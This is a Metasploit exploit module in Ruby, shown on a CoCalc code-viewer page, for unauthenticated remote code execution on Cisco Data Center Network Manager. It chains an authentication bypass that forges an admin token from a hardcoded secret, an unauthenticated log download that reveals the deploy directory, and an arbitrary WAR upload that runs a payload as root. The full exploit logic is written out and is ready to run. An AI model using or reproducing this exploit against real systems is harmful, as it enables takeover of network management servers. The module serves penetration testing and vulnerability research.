Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb
19535 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::EXE
11
include Msf::Exploit::FileDropper
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Cisco Data Center Network Manager Unauthenticated Remote Code Execution',
18
'Description' => %q{
19
DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload.
20
An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps
21
directory and achieve remote code execution as root.
22
This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on
23
versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct
24
directory for the WAR file upload.
25
This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
26
work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
27
(see References to understand why).
28
},
29
'Author' => [
30
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
31
],
32
'License' => MSF_LICENSE,
33
'References' => [
34
[ 'CVE', '2019-1619' ], # auth bypass
35
[ 'CVE', '2019-1620' ], # file upload
36
[ 'CVE', '2019-1622' ], # log download
37
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],
38
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],
39
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-dcnm-rce.txt' ],
40
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]
41
],
42
'Platform' => 'java',
43
'Arch' => ARCH_JAVA,
44
'Targets' => [
45
[ 'Automatic', {} ],
46
[
47
'Cisco DCNM 11.1(1)', {}
48
],
49
[
50
'Cisco DCNM 11.0(1)', {}
51
],
52
[
53
'Cisco DCNM 10.4(2)', {}
54
]
55
],
56
'Privileged' => true,
57
'DefaultOptions' => { 'WfsDelay' => 10 },
58
'DefaultTarget' => 0,
59
'DisclosureDate' => '2019-06-26',
60
'Notes' => {
61
'Reliability' => UNKNOWN_RELIABILITY,
62
'Stability' => UNKNOWN_STABILITY,
63
'SideEffects' => UNKNOWN_SIDE_EFFECTS
64
}
65
)
66
)
67
68
register_options(
69
[
70
Opt::RPORT(443),
71
OptBool.new('SSL', [true, 'Connect with TLS', true]),
72
OptString.new('TARGETURI', [true, "Default server path", '/']),
73
OptString.new('USERNAME', [true, "Username for auth (required only for 11.0(1) and above", 'admin']),
74
OptString.new('PASSWORD', [true, "Password for auth (required only for 11.0(1) and above", 'admin']),
75
]
76
)
77
end
78
79
def check
80
# at the moment this is the best way to detect
81
# check if pmreport and fileUpload servlets return a 500 error with no params
82
res = send_request_cgi(
83
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
84
'vars_get' =>
85
{
86
'token' => rand_text_alpha(5..20)
87
},
88
'method' => 'GET'
89
)
90
if res && res.code == 500
91
res = send_request_cgi(
92
'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),
93
'method' => 'GET'
94
)
95
if res && res.code == 500
96
return CheckCode::Detected
97
end
98
end
99
100
CheckCode::Unknown
101
end
102
103
def target_select
104
if target != targets[0]
105
return target
106
else
107
res = send_request_cgi(
108
'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about', 'version'),
109
'method' => 'GET'
110
)
111
if res && res.code == 200
112
if res.body.include?('version":"11.1(1)')
113
print_good("#{peer} - Detected DCNM 11.1(1)")
114
print_status("#{peer} - No authentication required, ready to exploit!")
115
return targets[1]
116
elsif res.body.include?('version":"11.0(1)')
117
print_good("#{peer} - Detected DCNM 11.0(1)")
118
print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit")
119
return targets[2]
120
elsif res.body.include?('version":"10.4(2)')
121
print_good("#{peer} - Detected DCNM 10.4(2)")
122
print_status("#{peer} - No authentication required, ready to exploit!")
123
return targets[3]
124
else
125
print_error("#{peer} - Failed to detect target version.")
126
print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!")
127
print_error(res.body)
128
print_status("#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass")
129
return targets[3]
130
end
131
end
132
fail_with(Failure::NoTarget, "#{peer} - Failed to determine target")
133
end
134
end
135
136
def auth_v11
137
res = send_request_cgi(
138
'uri' => normalize_uri(target_uri.path, 'fm/'),
139
'method' => 'GET',
140
'vars_get' =>
141
{
142
'userName' => datastore['USERNAME'],
143
'password' => datastore['PASSWORD']
144
}
145
)
146
147
if res && res.code == 200
148
# get the JSESSIONID cookie
149
if res.get_cookies
150
res.get_cookies.split(';').each do |cok|
151
if cok.include?("JSESSIONID")
152
return cok
153
end
154
end
155
end
156
end
157
end
158
159
def auth_v10
160
# step 1: get a JSESSIONID cookie and the server Date header
161
res = send_request_cgi(
162
'uri' => normalize_uri(target_uri.path, 'fm/'),
163
'method' => 'GET'
164
)
165
166
# step 2: convert the Date header and create the auth hash
167
if res && res.headers['Date']
168
jsession = res.get_cookies.split(';')[0]
169
date = Time.httpdate(res.headers['Date'])
170
server_date = date.strftime("%s").to_i * 1000
171
print_good("#{peer} - Got sysTime value #{server_date.to_s}")
172
173
# auth hash format:
174
# username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF
175
session_id = rand(1000..50000).to_s
176
md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +
177
"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF"
178
md5_str = Base64.strict_encode64(md5)
179
180
# step 3: authenticate our cookie as admin
181
# token format: sessionId.sysTime.md5_str.username
182
res = send_request_cgi(
183
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
184
'cookie' => jsession,
185
'vars_get' =>
186
{
187
'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin"
188
},
189
'method' => 'GET'
190
)
191
192
if res && res.code == 500
193
return jsession
194
end
195
end
196
end
197
198
# use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log
199
def get_war_path
200
res = send_request_cgi(
201
'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'),
202
'method' => 'GET'
203
)
204
205
if res && res.code == 200
206
tmp = Tempfile.new
207
# we have to drop this into a file first
208
# else we will get a Zip::GPFBit3Error if we use an InputStream
209
File.binwrite(tmp, res.body)
210
Zip::File.open(tmp) do |zis|
211
zis.each do |entry|
212
if entry.name =~ /jboss[0-9]*\.log/
213
fdata = zis.read(entry)
214
if fdata[/Started FileSystemDeploymentService for directory ([\w\/\\\-\.: ]+)/]
215
tmp.close
216
tmp.unlink
217
return $1.strip
218
end
219
end
220
end
221
end
222
end
223
end
224
225
def exploit
226
target = target_select
227
228
if target == targets[2]
229
jsession = auth_v11
230
elsif target == targets[3]
231
jsession = auth_v10
232
end
233
234
# targets[1] DCNM 11.1(1) doesn't need auth!
235
if jsession.nil? && target != targets[1]
236
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie")
237
elsif target != targets[1]
238
print_good("#{peer} - Successfully authenticated our JSESSIONID cookie")
239
end
240
241
war_path = get_war_path
242
if war_path.nil? or war_path.empty?
243
fail_with(Failure::Unknown, "#{peer} - Failed to get WAR path from logs")
244
else
245
print_good("#{peer} - Obtain WAR path from logs: #{war_path}")
246
end
247
248
# Generate our payload... and upload it
249
app_base = rand_text_alphanumeric(6..16)
250
war_payload = payload.encoded_war({ :app_name => app_base }).to_s
251
252
fname = app_base + '.war'
253
post_data = Rex::MIME::Message.new
254
post_data.add_part(fname, nil, nil, content_disposition = "form-data; name=\"fname\"")
255
post_data.add_part(war_path, nil, nil, content_disposition = "form-data; name=\"uploadDir\"")
256
post_data.add_part(war_payload,
257
"application/octet-stream", 'binary',
258
"form-data; name=\"#{rand_text_alpha(5..20)}\"; filename=\"#{rand_text_alpha(6..10)}\"")
259
data = post_data.to_s
260
261
print_status("#{peer} - Uploading payload...")
262
res = send_request_cgi(
263
'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),
264
'method' => 'POST',
265
'data' => data,
266
'cookie' => jsession,
267
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
268
)
269
270
if res && res.code == 200 && res.body[/#{fname}/]
271
print_good("#{peer} - WAR uploaded, waiting a few seconds for deployment...")
272
273
sleep 10
274
275
print_status("#{peer} - Executing payload...")
276
send_request_cgi(
277
'uri' => normalize_uri(target_uri.path, app_base),
278
'method' => 'GET'
279
)
280
else
281
fail_with(Failure::Unknown, "#{peer} - Failed to upload WAR file")
282
end
283
end
284
end
285
286